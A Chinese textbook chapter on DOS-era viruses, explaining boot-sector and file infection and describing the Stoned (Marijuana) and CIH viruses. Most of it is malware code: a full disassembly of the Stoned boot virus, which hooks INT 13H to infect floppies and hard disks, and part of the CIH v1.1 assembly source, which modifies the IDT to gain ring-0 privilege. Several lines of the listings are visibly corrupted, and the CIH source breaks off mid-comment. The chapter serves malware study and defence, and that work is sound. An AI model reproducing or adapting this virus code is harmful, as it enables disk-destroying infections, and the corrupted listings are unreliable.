第 4 章　DOS 病毒解析

本章学习目标

DOS 下的病毒都是可以当作范本来学习的。在 DOS 时代，病毒得到了长足的发展，其很多相关理论和技术至今都还在应用或影响着现在的病毒开发工作,有的更是成为了经典的法则被病毒开发者引用和遵循。本章将专门讲述 DOS 系统下两种类型的病毒：引导型病毒、文件型病毒，并配以具体的例子，旨在向读者讲解最基本的病毒分析和编写技能，为今后的病毒防治工作打下基础。在本章读者将会学到以下内容:

- 引导型病毒原理;
- 大麻病毒的作用原理和源代码;
- 文件型病毒原理;
- 混合病毒的相关知识。

4.1　引导型病毒

引导型病毒是一种比较特殊，却又数量庞大、危害甚广的病毒。它们驻留在引导区，因此一般的格式化操作无法消除它们。

简单来说，引导型病毒是把系统本身的 MBR 保存后用自己的程序替代掉原来的 MBR。这样在启动时病毒体自然就能获得控制权。当病毒完成了自己的操作后，则将保存的原 MBR 读入 0000:7C00H 处，把系统控制权交给原 MBR 从而让系统正常启动。由此可知，引导型病毒的传播途径一般是以磁盘间相互感染为主。在目前软盘几乎淡出计算机市场的情况下，也有很多引导型病毒将目光放在了其他感染途径上。

4.1.1　引导型病毒原理

由上可知，引导型病毒涉及的技术不外乎以下几个方面：引导文件的保存、如何调用 BIOS 磁盘中断服务、感染方式和病毒驻留地点。

1. 引导文件的保存

引导型病毒的宿主就是引导区，而不是特定的文件。引导区有 MBR 和 BR 两种文件，这在第 2 章已经详细讲过了。因此，相对地也可以将引导型病毒分为 MBR 型和 BR 型。MBR 型最典型的就是下面大家将要看到的大麻病毒，它们占据硬盘的 0 磁道 0 柱面 1 扇区；BR 病毒则是以小球病毒为代表，它们把自己放在硬盘或软盘的逻辑 0 扇区。

MBR 的作用就是用来加载系统，它的长度最大只有一个扇区，就在硬盘的 0 磁道 0 柱面 1 扇区，放在这个物理位置的程序一定先于系统执行。因此，病毒会将这个地方的真正的 MBR 移开，然后将自己放入，从而保证先于系统运行。等处理工作完成，病毒再用指令跳转到原

MBR 所在地，将它读入系统 0000:7C00 处，让它来启动系统。原 MBR 的保存地点是有讲究的，必须要保证 MBR 不会被覆盖破坏。一般的做法是将原 MBR 移动到 0 磁道 0 柱面 2 扇区，因为这里是保留扇区。但是这就导致了另一个问题：引导型病毒又是怎么来保存原 MBR 的呢？显然，覆盖写入是绝对不行的，这样只会让自己也一起死掉。同时，由于 MBR 是先于系统运行的，所以操作系统的中断调用在这时是不能使用的。于是，来看下面的问题：BIOS 磁盘功能中断调用。

2. 如何调用 BIOS 磁盘中断服务

这个时候 BIOS 中断是可以使用的，当然，也有病毒可以在自己内部加上能直接执行的 I/O 模块，达到磁盘读、写的目的。这里要向读者介绍病毒经常使用的 BIOS 磁盘服务功能调用。

（1）INT 13H 的子功能 02H 调用。

功能：读扇区。

入口参数：

AH=02H；

AL=读入的扇区数；

CH=磁道号；

CL=扇区号（从 1 开始）；

DH=头号；

DL=物理驱动器号；

ES:BX→要填充的缓冲区；

返回值：

如 CF 置位则调用失败；

AH=状态；

AL=实际读入的扇区数。

（2）INT 13H 的子功能 03H 调用。

功能：写扇区。

入口参数：

AH=03H；

AL=写入的扇区数；

CH=磁道号；

CL=扇区号（从 1 开始）；

DH=头号；

DL=物理驱动器号；

ES:BX→缓冲区。

返回值：

如 CF 置位则调用失败；

AH=状态；

AL=实际写入的扇区数。

3. 感染的方法

引导型病毒一般的感染方法都是通过引导存储设备进行的，如软盘。由于软盘可以用来

启动系统，所以是这类病毒的最佳选择。病毒会在驻留内存后监视计算机目前使用的磁盘，一旦发现没有感染的磁盘则立即感染。

4. 驻留地点的选择

由于引导型病毒普遍身材较小，所以使用减少计算机可用基本内存的方式是最合适的，具体的方法在第 2 章已经讲过。实际上，计算机可用基本内存也是存放在内存的一个特殊地点的，那就是 40H:13H。在这里面存放的数值就是计算机当前的可用基本内存，单位为 KB。病毒一般选择地址最高位作为驻留地点。

5. 计算机的引导过程

第 2 章讲解了计算机的启动过程，希望读者能回头再复习一下。所谓的引导过程是指启动过程之后紧接着的一个过程，也就是 BIOS 自检完毕准备好硬件后将系统控制权交给 MBR，然后由 MBR 引导操作系统加载的一个过程。具体过程如下：

（1）BIOS 自检并准备好硬件环境，然后把系统控制权交给 MBR。

（2）系统自动找到硬盘物理地址为 0 磁道 0 柱面 1 扇区的地方，读取里面的引导程序，并放到内存的 0000:7C00 处。

（3）执行 0000:7C00 处的程序。

（4）判断是否为系统盘，如是则进入下一步；如否则显示以下信息：

```
non-system disk or disk error
Replace and strike any key when ready
```

翻译成中文就是：没有发现系统盘或磁盘错误；当准备好后取出磁盘并按下任意键。

（5）读入两个系统文件：IBMBIO.COM 和 IBMDOS.COM，并执行。

（6）读入 COMMAND.COM 并执行。

（7）在不出错的情况下（一般到这一步出错的可能性不大，除非 COMMAND.COM 被破坏）DOS 加载成功。

6. 系统带病毒的引导过程

如果系统感染病毒，则引导过程如下：

（1）前面的自检步骤和没有中毒是完全一样的，直到系统将控制权交给 MBR 时，由于此时的 0 磁道 0 柱面 1 扇区中已经被病毒程序替代，因此这时进入内存 0000:7C00 的是病毒体，并首先执行。

（2）病毒程序修改 40H:13H 处的内容，减少可用基本内存，然后将自己放到内存高端，监视着系统的运作。

（3）篡改 INT 13H 中断，使其指向病毒入口，即主控模块，这一步是任何引导型病毒都必须具有的。

（4）检查病毒程序运行和装载情况，如果一切正常就将系统管理权交给正常的引导程序。

（5）将引导程序读入至 0000:7C00 处开始执行。

（6）系统正常启动。

（7）病毒实时监视系统，一旦发现未被感染的磁盘就立即感染。

一般来说，引导型病毒所使用的原理不外乎这些，在这个大的框架之下则是作者各出奇招。DOS 时代的引导型病毒百家争鸣，至今还为各个计算机安全专家提供了绝好的学习素材。为了更好地向读者展示引导型病毒的工作方式，下面将以大麻病毒为例详细介绍。

4.1.2　大麻病毒解析

大麻病毒，英文名为 Mar IJUANA，亦称石头病毒（Stone），因为当病毒被触发后，会在屏幕上显示以下信息：

“Your PC is now Stoned!”（中文意思：你的计算机现在被冻结了。）

而感染大麻病毒的软盘的引导区中，也可找到以下字符串：

"Your PC is now Stoned!"

"LEGALISE MARIJUANA!"

这是大麻病毒的标志，所以人们也将其称为“石头”病毒。其在 1989 年传入我国，由于当时计算机的软盘使用率非常高，所以它如鱼得水，立即四下传播，一时称为科技界公害。大麻病毒代码很短，只有 1B8H 字节，但是正所谓“麻雀虽小，五脏俱全”。一个完整病毒应具有的功能，如磁盘识别、磁盘感染、触发环境判断、驻留内存、修改中断向量、引导原磁盘工作等它全部都有。

由于大麻病毒长度只有 1B8H 字节，所以只需要一个扇区就能够装下。它属于非常标准的引导型病毒工作结构。首先将原引导扇区移动到另一个扇区，然后将自己的病毒体写入。当需要感染时它会首先判断磁盘类型，如果是硬盘就要判断硬盘类型，以此来决定哪个扇区是引导扇区、需要移动到哪里等；如果是软盘则直接将原引导扇区移动到 0 磁道 1 柱面 3 扇区，再将自己写入引导区。可是 0 磁道 1 柱面 3 扇区对于软盘有特殊的意义：它是 360KB 软盘的根目录的最后一个扇区；如果是 1.2MB 高密盘，则是其根目录的第三扇区。如果是硬盘，它则会将原引导扇区引入 0 磁道 0 柱面 7 扇区。不同的硬盘，加上分区方式有很多种，因此这里的存放内容会有很大差异。但是如果感染的是 IBM PC、IBM XT 及长城 0520-CH 则会造成很大麻烦，因为这里是它们的文件分配存放区。如果染上大麻病毒，这几种机器就会破坏它们的 FAT，从而使得大量文件丢失。

大麻病毒会将内存容量减少 2KB，但实际上只使用 1KB。它驻留内存，而且在引导区有病毒体，所以杀毒工作必须保证内存全部清空，否则只能是“春风吹又生”。

大麻病毒本身的结构中没有设定独立的破坏模块，但是上面说到由于它存放原引导扇区的位置十分敏感，所以会给中毒计算机带来文件丢失的后果，它还是有相当破坏力的。

判断系统是否感染大麻病毒很简单，因为它的特征很明显：

第一，扇区起始处的内容为 EA0500C007。这实际上是一条指令，用汇编语言表示就是 JMP 07C0:0005。

第二，相对扇区起始处偏移量为 18AH 的地方开始有字符串：“Your PC is now Stoned!”。这是作者留下的签名，也是病毒发作时的显示信息。

大麻病毒的工作原理如下。

1. *带病毒的启动步骤*

（1）大麻病毒有自己的引导模块，当系统将病毒体从 0 磁道 0 柱面 1 扇区读入内存 0000:7C00 处，病毒就开始运行。

（2）病毒首先保存现场，包括 INT 13H。

（3）将 40H:13H 中的值减 2（即减少基本内存 2KB）。

（4）再修改 INT 13H 向量，使之指向病毒的传染模块。

（5）将病毒体移动到内存边界（以总内存数减 2KB 为界）的高端地址。

（6）调用判断模块，看启动的磁盘是不是软盘，如果不是就读出硬盘的原 MBR，并执行。

（7）如果是软盘启动，则读原 DOS 的引导记录。

（8）调用触发模块，判断目前的系统时钟是否为 8 的整倍数（触发条件），如果是就执行表现模块，显示病毒信息；如果不是就直接跳过表现模块。

（9）判断硬盘是否被感染，如果已被感染就跳出，执行原 MBR。

（10）如果硬盘是未被感染的，就先感染硬盘再去执行原 MBR。

2. 大麻病毒的感染步骤（这里以对软盘的感染为例）

（1）判断是否是磁盘的读、写操作，如否就直接跳出执行原 INT 13H。

（2）判断操作对象是否为 A 盘，如否就直接跳出执行原 INT 13H。

（3）判断 A 盘是否已被感染，如是就直接跳出执行原 INT 13H。

（4）在以上判断全部结束且没有跳出的情况下，执行下述感染步骤。

（5）将原引导记录写入 0 磁道 1 柱面 3 扇区。

（6）将病毒体写入 0 磁道 0 柱面 1 扇区。

（7）执行原 INT 13H 调用。

（8）感染软盘成功。

3. 大麻病毒的表现机制

大麻病毒的表现机制实际上在启动模块中就已包含了，所以没有分成一个独立模块，就好像大麻病毒没有独立的破坏模块一样。只要病毒发现当前系统是从 A 盘启动，且系统时钟计数是 8 的整倍数就立即触发，并在用户屏幕上显示：

Your PC is now Stoned!

LEGALISE MARIJUANA!

4.1.3 大麻病毒源代码

以下是通过反汇编被感染引导区所得到的标准的大麻病毒源代码：

```
Disassembly of File: D:\*.*
Code Offset = 00000000, Code Size = 000001E1
Data Offset = 00000000, Data Size = 00000000

Number of Objects = 0001 (dec), Imagebase = 00000000h

Object01:         RVA: 00000000 Offset: 00000000 Size: 000001E1 Flags: 00000000

Number of Imported Modules = 0 (decimal)

++++++++++++++++++++ IMPORT MODULE DETAILS +++++++++++++++

++++++++++++++++++++ EXPORTED FUNCTIONS ++++++++++++++++++
Number of Exported Functions = 0000 (decimal)

++++++++++++++++++++ ASSEMBLY CODE LISTING ++++++++++++++++++
//********************** Start of Code in Object BinaryCode *************
```

```
Program Entry Point Not Available

//********************** Start of Code in Segment: 1 **************

0001:0100 EA0500C007          jmp 07C0:0005
0001:0105 E9B900              jmp 01C1


0001:0108 000000000000        BYTE  6 DUP(0)


0001:010E 0401                add al, 01
0001:0110 000000              BYTE  3 DUP(0)


0001:0113 7C00                jl 0115

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0113(C)

0001:0115 001E5080            add [8050], bl
0001:0119 FC                  cld
0001:011A 027218              add dh, [bp+si+18]
0001:011D 80FC04              cmp ah, 04
0001:0120 7313                jnb 0135
0001:0122 80FA00              cmp dl, 00
0001:0125 750E                jne 0135
0001:0127 33C0                xor ax, ax
0001:0129 8ED8                mov ds, ax
0001:012B A04004              mov al, [0440]
0001:012E 0AC0                or al , al
0001:0130 7503                jne 0135
0001:0132 E80700              call 013C

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
0001:0120(C), :0001:0125(C), :0001:0130(C)

0001:0135 58                  pop ax
0001:0136 1F                  pop ds
0001:0137 2EFF2E0A00          jmp far word ptr cs:[000A]

* Referenced by a CALL at Address:
0001:0132

0001:013C 53                  push bx
0001:013D 51                  push cx
```

```
0001:013E 52                    push dx
0001:013F 06                    push es
0001:0140 56                    push si
0001:0141 57                    push di
0001:0142 BE0400                mov si, 0004

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0163(C)

0001:0145 B80102                mov ax, 0201
0001:0148 0E                    push cs
0001:0149 07                    pop es
0001:014A BB0002                mov bx, 0200
0001:014D B90100                mov cx, 0001
0001:0150 33D2                  xor dx, dx
0001:0152 9C                    pushf
0001:0153 2EFF1E0A00            call far word ptr cs:[000A]
0001:0158 730E                  nb 0168
0001:015A 33C0                  xor ax, ax
0001:015C 9C                    pushf
0001:015D 2EFF1E0A00            call far word ptr cs:[000A]
0001:0162 4E                    dec si
0001:0163 75E0                  jne 0145
0001:0165 EB3E                  jmp 01A5

0001:0167 90                    nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0158(C)

0001:0168 33F6                  xor si, si
0001:016A BF0002                mov di, 0200
0001:016D 268B04                mov ax, es:[si]
0001:0170 263B05                cmp ax, es:[di]
0001:0173 750D                  jne 0182
0001:0175 268B4402              mov ax, es:[si+02]
0001:0179 263B4502              cmp ax, es:[di+02]
0001:017D 7503                  jne 0182
0001:017F EB24                  jmp 01A5


0001:0181 90                    nop

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
0001:0173(C), :0001:017D(C)
```

```
0001:0182 B80103              mov ax, 0301
0001:0185 BB0002              mov bx, 0200
0001:0188 B90300              mov cx, 0003
0001:018B BA0001              mov dx, 0100
0001:018E 9C                  pushf
0001:018F 2EFF1E0A00          call far word ptr cs:[000A]
0001:0194 720F                jb 01A5
0001:0196 B80103              mov ax, 0301
0001:0199 33DB                xor bx, bx
0001:019B B101                mov cl, 01
0001:019D 33D2                xor dx, dx
0001:019F 9C                  pushf
0001:01A0 2EFF1E0A00          call far word ptr cs:[000A]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
0001:0165(U), :0001:017F(U), :0001:0194(C)

0001:01A5 5F                  pop di
0001:01A6 5E                  pop si
0001:01A7 07                  pop es
0001:01A8 5A                  pop dx
0001:01A9 59                  pop cx
0001:01AA 5B                  pop bx
0001:01AB C3                  ret


* Referenced by a CALL at Address:
0001:023B


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:01BF(U)

0001:01AC 2E8A07              mov al , cs:[bx]
0001:01AF 43                  inc bx
0001:01B0 3C00                cmp al, 00
0001:01B2 7501                jne 01B5
0001:01B4 C3                  ret


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:01B2(C)

0001:01B5 50                  push ax
0001:01B6 53                  push bx
0001:01B7 B40E                mov ah, 0E
```

```
0001:01B9 B700                mov bh, 00
0001:01BB CD10                int 10
0001:01BD 5B                  pop bx
0001:01BE 58                  pop ax
0001:01BF EBEB                jmp 01AC


* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0105(U)

0001:01C1 33C0                xor ax, ax
0001:01C3 8ED8                mov ds, ax
0001:01C5 FA                  cli
0001:01C6 8ED0                mov ss, ax
0001:01C8 BC007C              mov sp, 7C00
0001:01CB FB                  sti
0001:01CC A14C00              mov ax, word ptr [004C]
0001:01CF A30A7C              mov word ptr [7C0A], ax
0001:01D2 A14E00              mov ax, word ptr [004E]
0001:01D5 A30C7C              mov word ptr [7C0C], ax
0001:01D8 A11304              mov ax, word ptr [0413]
0001:01DB 48                  dec ax
0001:01DC 48                  dec ax
0001:01DD A31304              mov word ptr [0413], ax
0001:01E0 B106                mov cl, 06
0001:01E2 D3E0                shl ax, cl
0001:01E4 8EC0                mov es, ax
0001:01E6 A3107C              mov word ptr [7C10], ax
0001:01E9 B81600              mov ax, 0016
0001:01EC A34C00              mov word ptr [004C], ax
0001:01EF 8C064E00            mov [004E], es
0001:01F3 B9E001              mov cx, 01E0
0001:01F6 0E                  push cs
0001:01F7 1F                  pop ds
0001:01F8 33F6                xor si, si
0001:01FA 8BFE                mov di, si
0001:01FC FC                  cld
0001:01FD F3                  repz
0001:01FE A4                  movsb
0001:01FF 2EFF2E0E00          jmp far word ptr cs:[000E]
0001:0204 B80000              mov ax, 0000
0001:0207 CD13                int 13
0001:0209 33C0                xor ax, ax
0001:020B 8EC0                mov es, ax
0001:020D B80102              mov ax, 0201
0001:0210 BB007C              mov bx, 7C00
```

```
0001:0213 2E803E080000          cmp byte ptr cs:[0008], 00
0001:0219 740B                  je 0226
0001:021B B90200                mov cx, 0002
0001:021E BA8000                mov dx, 0080
0001:0221 CD13                  int 13
0001:0223 EB41                  jmp 0266


0001:0225 90                    nop

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0219(C)

0001:0226 B90300                mov cx, 0003
0001:0229 BA0001                mov dx, 0100
0001:022C CD13                  int 13
0001:022E 7236                  jb 0266
0001:0230 26F6066C0407          test byte ptr es:[046C], 07
0001:0236 7506                  jne 023E

* Possible StringData Ref from Data Seg 001 →"u"

0001:0238 BBB201                mov bx, 01B2
0001:023B E86EFF                call 01AC

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:0236(C)

0001:023E 0E                    push cs
0001:023F 07                    pop es
0001:0240 B80102                mov ax, 0201
0001:0243 BB0002                mov bx, 0200
0001:0246 B90100                mov cx, 0001
0001:0249 BA8000                mov dx, 0080
0001:024C CD13                  int 13
0001:024E 7216                  jb 0266
0001:0250 0E                    push cs
0001:0251 1F                    pop ds
0001:0252 BE0002                mov si, 0200
0001:0255 BF0000                mov di, 0000
0001:0258 8B04                  mov ax, [si]
0001:025A 3B05                  cmp ax, [di]
0001:025C 7519                  jne 0277
0001:025E 8B4402                mov ax, [si+02]
0001:0261 3B4502                cmp ax, [di+02]
0001:0264 7511                  jne 0277
```

```
* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
0001:0223(U), :0001:022E(C), :0001:024E(C), :0001:0291(C), :0001:02B0(U),

0001:0266 2EC606080000          mov byte ptr cs:[0008], 00
0001:026C 2EC606090000          mov byte ptr cs:[0009], 00
0001:0272 2EFF2E1200            jmp far word ptr cs:[0012]

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
0001:025C(C), :0001:0264(C)

0001:0277 2EC606080002          mov byte ptr cs:[0008], 02
0001:027D 2EC606090000          mov byte ptr cs:[0009], 00
0001:0283 B80103                mov ax, 0301
0001:0286 BB0002                mov bx, 0200
0001:0289 B90200                mov cx, 0002
0001:028C BA8000                mov dx, 0080
0001:028F CD13                  int 13
0001:0291 72D3                  jb 0266
0001:0293 0E                    push cs
0001:0294 1F                    pop ds
0001:0295 0E                    push cs
0001:0296 07                    pop es
0001:0297 BEE003                mov si, 03E0
0001:029A BFE001                mov di, 01E0
0001:029D B9E0FD                mov cx, FDE0
0001:02A0 F3                    repz
0001:02A1 A4                    movsb
0001:02A2 B80103                mov ax, 0301
0001:02A5 BB0000                mov bx, 0000
0001:02A8 B90100                mov cx, 0001
0001:02AB BA8000                mov dx, 0080
0001:02AE CD13                  int 13
0001:02B0 EBB4                  jmp 0266


0001:02B2 07                    pop es
0001:02B3 59                    pop cx
0001:02B4 6F                    outsw
0001:02B5 7572                  jne 0329
0001:02B7 205043                and [bx+si+43], dl
0001:02BA 206973                and [bx+di+73], ch
0001:02BD 206E6F                and [bp+6F], ch
0001:02C0 7720                  ja 02E2
0001:02C2 53                    push bx
0001:02C3 746F                  je 0334
0001:02C5 6E                    outsb
```

```
0001:02C6 65                    BYTE 065h


0001:02C7 642107                and fs:[bx], ax
0001:02CA 0D0A0A                or ax, 0A0A
0001:02CD 004C45                add [si+45], cl
0001:02D0 47                    inc di
0001:02D1 41                    inc cx
0001:02D2 4C                    dec sp
0001:02D3 49                    dec cx
0001:02D4 53                    push bx
0001:02D5 45                    inc bp
0001:02D6 204D41                and [di+41], cl
0001:02D9 52                    push dx
0001:02DA 49                    dec cx
0001:02DB 4A                    dec dx
0001:02DC 55                    push bp
0001:02DD 41                    inc cx
0001:02DE 4E                    dec si
0001:02DF 41                    inc cx
0001:02E0 2100                  and [bx+si], ax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
0001:02C0(C)

0001:02E2 00000000000000000000  BYTE 10 DUP(0)
0001:02EC 00000000000000000000  BYTE 10 DUP(0)
0001:02F6 00000000000000000000  BYTE 10 DUP(0)
0001:0300 00000000000000000000  BYTE 10 DUP(0)
0001:030A 00000000000000000000  BYTE 10 DUP(0)
0001:0314 00000000000000000000  BYTE 10 DUP(0)
0001:031E 00000000000000000000  BYTE 10 DUP(0)
0001:0328 00000000000000000000  BYTE 10 DUP(0)
0001:0332 00000000000000000000  BYTE 10 DUP(0)
0001:033C 00000000000000000000  BYTE 10 DUP(0)
0001:0346 00000000000000000000  BYTE 10 DUP(0)
0001:0350 00000000000000000000  BYTE 10 DUP(0)
0001:035A 00000000000000000000  BYTE 10 DUP(0)
0001:0364 00000000000000000000  BYTE 10 DUP(0)
0001:036E 00000000000000000000  BYTE 10 DUP(0)
0001:0378 00000000000000000000  BYTE 10 DUP(0)
0001:0382 00000000000000000000  BYTE 10 DUP(0)
0001:038C 00000000000000000000  BYTE 10 DUP(0)
0001:0396 00000000000000000000  BYTE 10 DUP(0)
0001:03A0 00000000000000000000  BYTE 10 DUP(0)
0001:03AA 00000000000000000000  BYTE 10 DUP(0)
```

```
0001:03B4 00000000000000000000   BYTE 10 DUP(0)
0001:03BE 00000000000000000000   BYTE 10 DUP(0)
0001:03C8 00000000000000000000   BYTE 10 DUP(0)
0001:03D2 00000000000000000000   BYTE 10 DUP(0)
0001:03DC 00000000000000000000   BYTE 10 DUP(0)
```

4.2 文件型病毒

有关文件型病毒，在本书的第 2 章和第 3 章都有过比较详细的阐述，这里重点要讲的是感染 COM 文件和 EXE 文件的病毒。文件型病毒不论怎么编写，其目的都是一个，那就是要将病毒代码植入正常程序中。宿主是载体，也是掩护病毒的外衣。对于 COM 文件和 EXE 文件的结构，病毒需要采取不同的策略感染。一般来说都要利用 COM 或 EXE 文件的文件头，从执行入口把病毒代码植入到宿主中。然后修改文件最开头的指令，使其指向病毒的入口。其中又以感染 COM 文件比较简单，这是因为 COM 文件本身就很简单。方法不外乎两种：感染头部和感染尾部。COM 文件的执行文件代码和执行时的内存映像是完全相同的，起始执行偏移地址总是 100H，而对应于文件的偏移总是为 0。

4.2.1 文件型病毒原理

病毒的任务就是感染、发作，这就一定涉及夺取系统的控制权问题。一旦成功控制系统，病毒一般需要完成以下几项工作：

（1）先检查内存中是否已经有本类病毒存在，如果没有就将自己读入，然后驻留内存。

（2）获取当前环境，决定是否满足感染条件，如果满足就开始感染。

（3）修改相关中断，使这些中断指向自己。

（4）将控制权交还给原宿主，让它执行，这样可以避免用户的怀疑。

（5）监视系统的一举一动，一旦有机会就进行破坏活动。

以上就是文件型病毒被触发后一定要做的事情。相对于不同的系统和病毒，这些工作的程序可以有所调整。

4.2.2 文件型病毒实例——CIH 病毒

CIH 病毒是病毒史上第一个能破坏计算机硬件的病毒，它打破了人们“计算机病毒只作用于软件范围”的长久认识。CIH 病毒的作者叫陈盈豪（CIH 就是他姓名的首写字母），是一个中国台湾地区大学生所编。该病毒是由台湾地区发起继而风靡全球的。CIH 的最初宿主是一个名为“ICQ 中文 Chat 模块”的工具，经互联网传播，同时也有相当数量是通过盗版光盘实现感染的。

CIH 病毒只感染 Windows 9X 操作系统，如果是 Windows XP/2000/ME 的用户就无须担心了。CIH 使用了一种叫做 VxD 的独特技术，使其传播的实时性和隐蔽性都特别强，一般反病毒软件很难发现它的动作。

CIH 病毒的破坏性表现在两个方面。其一是其很多衍生产品在每年 4 月 26 日发作，也有的干脆每月 26 日都发作。当它执行破坏动作时硬盘就会不停地转，硬盘上所有数据都将遭到毁灭性的破坏，包括分区、FAT 等。任何机器中了 CIH 病毒都必须重新分区。其二，CIH 病毒被触发后还会改变某些型号主板的工作电压，改写用 ROM 写成的 BIOS。这时，一般主板

只能报废，或返厂重新烧录 BIOS。

不过目前已经不必担心 CIH 对 BIOS 的破坏。因为现在计算机上所使用的 ROM 有两种：一是传统的 ROM 或 EPROM；二是 E2PROM。主板出厂前都会由厂家将 BIOS 烧录进这些 ROM。ROM 或 EPROM 中的数据只有在特殊量电压或使用紫外线的作用下才能被清除。而计算机系统内部所能提供的电压是不够完成这项工作的。所以如果使用这类 ROM 就可以不用担心了。

但现在新出厂的计算机的标准配置都是 E2PROM 的 BIOS。所谓 E2PROM（Electrically Erasable Programmable Read Only Memory ，电可改写只读存储器），与 ROM 或 EPROM 的区别在于只要施加特殊的逻辑和电压，就有可能将 E2PROM 中的数据改写掉而且计算机内部电压就足够了。这种新技术的使用是为了方便软件升级 BIOS，而 CIH 也正是利用的这一点。改写 E2PROM 内的数据还需要一定的逻辑条件，这个可以通过计算机的 CPU 逻辑运算来实现。但是不同的计算机系统在这方面的参数是不同的，这就是为什么前面说到 CIH 只破坏某些型号主板的原因。目前，中国市场上技嘉和微星等几个厂家的几种 5V 主板是其受害者。

CIH 病毒有很多版本，但其工作原理大致相同。

1. 1.0 版

这是最原始的病毒版本，只有 656B 长，结构简单，被其感染的程序文件长度增加，和其他常见的病毒在结构、算法上并没有突出的地方，且不具有破坏性。如果一定要说特点，那就是它可以感染 Microsoft Windows PE 系列可执行文件，而这在当时是不多的。

2. 1.1 版

1.1 版的 CIH 病毒长度为 796B。此时它已添加了 Windows NT 软件判断模块，这是由于这个版本的 CIH 病毒在 Windows NT 环境下会有系统报错，从而暴露自己。这个判断模块一旦发现当前环境是 Windows NT 系统，就放弃发作，达到自我隐藏的目的。该版本使用了代码优化技术，长度大幅度减少。1.1 版还有一个亮点，就是它的感染方式，它会将病毒体根据需要分割成几个独立模块，然后利用 PE 文件的空洞合适地插入。也就是说，从这个版本起 CIH 病毒就是零长度感染的了。但此时的 CIH 还是不具有破坏性的。

3. 1.2 版

从 1.2 版起，CIH 病毒正式成为恶性病毒。这一版改正了 1.1 版本的某些设计漏洞，但是更重要的是增加了破坏硬盘和主板 BIOS 的模块。此版本的 CIH 病毒长度为 1 003B。

4. 1.3 版

1.2 版 CIH 病毒有一个最大的问题：当其感染 ZIP 文件时，会导致此 ZIP 文件在自解压时报警，并显示以下提示信息：

```
WinZip Self-Extractor header corrupt. Possible cause: disk or file transfer error.
```

这一问题导致了 1.3 版 CIH 病毒匆匆问世。它对以上漏洞进行了修改，具体方法就是加一个判断机构。一旦发现当前目标是 WinZip 类的自解压程序，则放弃感染。另一个比较小的改动是 1.3 版修改了发作时间。这个版本的 CIH 病毒长度为 1 010B。

5. 1.4 版

1.4 版 CIH 病毒综合了以上几个版本的优点，改进了以上几个版本的缺点。再次修改了发作日期，以及病毒代码中还有的版权信息，将以前版本中的 CIH v1.x TTIT 改为 CIH v1.4 TATUNG，此版本的长度为 1019B。

4.2.3 CIH 病毒源代码

以下是反汇编得到的 1.1 版 CIH 病毒的源代码，虽然无害，但是大家可以从这里窥见病毒编写者的巧妙构思：

```
; * The Virus Program Information *
;
*************************************************************************

; * *
; * Designer : CIH Original Place : TTIT of Taiwan *
; * Create Date : 04/26/1998 Now Version : 1.1 *
; * Modification Time : 05/15/1998 *
; * *
;
*=======================================================================

; * Modification History *
;
*=======================================================================

; * v1.0 1. Create the Virus P *
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected. *
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Managle that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
;
*************************************************************************

.586P

; ************************************************************FALSE = 0

DEBUG = TRUE
```

```
MajorVirusVersion = 1
MinorVirusVersion = 1

VirusVersion = MajorVirusVersion*10h+MinorVirusVersion

HookExceptionNumber = 03h
FileNameBufferSize = 7fh

; ********************************************************
; ********************************************************

VirusGame SEGMENT

ASSUME CS:VirusGame, DS:VirusGame, SS:VirusGame
ASSUME ES:VirusGame, FS:VirusGame, GS:VirusGame

; ********************************************************
; * Ring3 Virus Game Initial Program *
; ********************************************************

MyVirusStart:
push ebp

; ***********************************
; * Let's Modify Structured Exception *
; * Handing, Prevent Exception Error *
; * Occurrence, Especially in NT. *
; ***********************************

lea eax, [esp-04h*2]

xor ebx, ebx
xchg eax, fs:[ebx]

call @0
@0:
pop ebx

lea ecx, StopToRunVirusCode-@0[ebx]
push ecx

push eax

; ***********************************
; * Let's Modify *
; * IDT(Interrupt Descriptor Table) *
```

```
; * to Get Ring0 Privilege... *
; ************************************

push eax ;
sidt [esp-02h] ; Get IDT Base Address
pop ebx ;

add ebx, HookExceptionNumber*08h+04h ; ZF = 0

cli

mov ebp, [ebx] ; Get Exception Base
ebx-04h], si ;
shr esi, 16 ; Modify Exception
mov [ebx+02h], si ; Entry Point Address

pop esi

; ************************************
; * Generate Exception to Get Ring0 *
; ************************************

int HookExceptionNumber ; GenerateException
ReturnAddressOfEndException = $

; ************************************
; * Merge All Virus Code Section *
; ************************************

push esi
mov esi, eax

LoopOfMergeAllVirusCodeSection:

mov ecx, [eax-04h]

rep movsb

sub eax, 08h

mov esi, [eax]

or esi, esi
jz QuitLoopOfMergeAllVirusCodeSection ; ZF = 1

jmp LoopOfMergeAllVirusCodeSection
```

```
QuitLoopOfMergeAllVirusCodeSection:

pop esi

; ************************************
; * Generate Exception Again *
; ************************************

int HookExceptionNumber ; GenerateException Ag
ain

; ************************************
; * Let's Restore *
; * Structured Exception Handing *
; ************************************

ReadyRestoreSE:
sti

xor ebx, ebx

jmp RestoreSE

; ************************************
; * When Exception Error Occurs, *
; * Our OS System should be in NT. *
; * So My Cute Virus will not *
